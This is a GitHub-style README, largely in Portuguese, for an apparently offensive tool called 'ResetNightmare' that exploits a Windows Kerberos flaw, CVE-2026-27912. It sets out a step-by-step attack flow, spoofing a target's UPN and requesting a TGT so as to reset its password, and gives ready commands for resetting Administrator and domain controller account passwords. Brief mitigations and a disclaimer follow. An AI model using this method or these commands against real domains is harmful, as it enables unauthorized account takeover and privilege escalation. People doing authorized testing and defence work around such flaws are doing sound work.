Kerberos-CVE-2026-27912

CVE-2026-27912 - Vulnerabilidade de Elevação de Privilégio no Windows Kerberos

ResetNightmare - Redefinição de senha não autorizada por meio de falha no protocolo de alteração de senha do Kerberos.

📋 Detalhes

🔍 Fluxo de Ataque

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Requisitos

• Windows com PowerShell
• Módulo ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (baixe de GhostPack/Rubeus)
• Acesso à rede para o controlador de domínio

🚀 Instalação

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Uso

Ataque Básico

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Conta de Computador Alvo

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Criar Nova Conta

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Modo Detalhado

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Argumentos

🛡️ Mitigação

1. Aplique o patch oficial da Atualização de Segurança da Microsoft
2. Segmente a rede para limitar o acesso à rede adjacente
3. Aplique o princípio do menor privilégio - restrinja permissões de escrita de UPN
4. Monitore alterações suspeitas de UPN e redefinições de senha

⚠️ Aviso Legal

Somente para testes de segurança autorizados e pesquisa educacional.

O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido deste software.

📚 Referências

• NVD: CVE-2026-27912
• Guia de Atualizações de Segurança da Microsoft

👨‍💻 Autor

n0vax1337 / Pesquisador de Segurança

📄 Licença

Licença MIT - veja LICENSE

Última atualização: 2026